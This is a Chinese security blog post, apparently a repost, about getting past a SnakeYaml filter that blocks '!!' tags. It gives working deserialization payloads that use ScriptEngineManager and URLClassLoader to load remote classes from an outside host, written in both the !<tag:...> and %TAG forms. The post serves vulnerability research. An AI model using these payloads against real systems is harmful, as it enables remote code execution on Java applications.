暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

SnakeYaml 反序列化的一个小 trick

安全档案 2020-12-06
880

背景

这是我在做某个代码审计项目时遇到的场景,一个 yaml 解析的功能使用了 snakeyaml 来处理 yaml,snakeyaml 一般情况下是可以直接进行反序列化攻击的。但这里它做了一个前提条件 —— “不允许 yaml 中存在 !!”。

打过 yaml 反序列化漏洞的人应该都知道 !! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。

一旦 yaml 缺少了 !! 将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。

分析

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]
复制

这条 POC 是网上公开最常见的,所有 POC 都是基于 !! 来反序列化。这也就误导了一些程序员认为 !! 是导致反序列化的原因。

以上图为例,yaml 中带有 !! 无法通过校验。所以需要先去绕过 !! 。

我一开始想到的是类似 fastjson 可以16进制、Unicode在内部进行解码,实际测试并不可行,

虽然可以处理 Unicode,但只能当做 string 使用,所以这个想法只能放弃。

经过一系列的调试我发现,每个 !! 修饰过的类都转成了一个 TAG。

例如 yaml 常用的 set str map 等类型都是一个 TAG,并且使用了一个固定的前缀:tag:yaml.org,2002:

    public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
/*...*/
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
复制

所以 !!javax.script.ScriptEngineManager
 的TAG就是 tag:yaml.org,2002:javax.script.ScriptEngineManager

我在 yaml 官网找到了一些与tag:yaml.org,2002
相关的文档。

发现它除了 !! 以为还有另外几种 TAG 的表示方式。

%YAML 1.1
---
!!seq [
!<!foo> "bar",
!<tag:yaml.org,2002:str> "string"
!<tag:ben-kiki.org,2000:type> "baz"
]
复制
# Explicitly specify default settings:
%TAG ! !
%TAG !! tag:yaml.org,2002:
# Named handles have no default:
%TAG !o! tag:ben-kiki.org,2000:
---
- !foo "bar"
- !!str "string"
- !o!type "baz"
复制

第一种是用!<TAG>
来表示,只需要一个感叹号,尖括号里就是 TAG。

前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:

所以要想反序列化恶意类就需要这样构造

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://b1ue.cn/"]]]]
复制

这样就可以绕过不允许存在 !! 的限制。

再来看第二种,需要在 yaml 中用%TAG
声明一个 TAG

例如我声明 ! 的tag是 tag:yaml.org,2002:

%TAG !      tag:yaml.org,2002:
复制

后面再调用 !str
的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str

最终我构造的反序列化攻击payload如下

%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]
复制

同样也只使用了一个!,绕过了!!的限制。


文章转载自安全档案,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论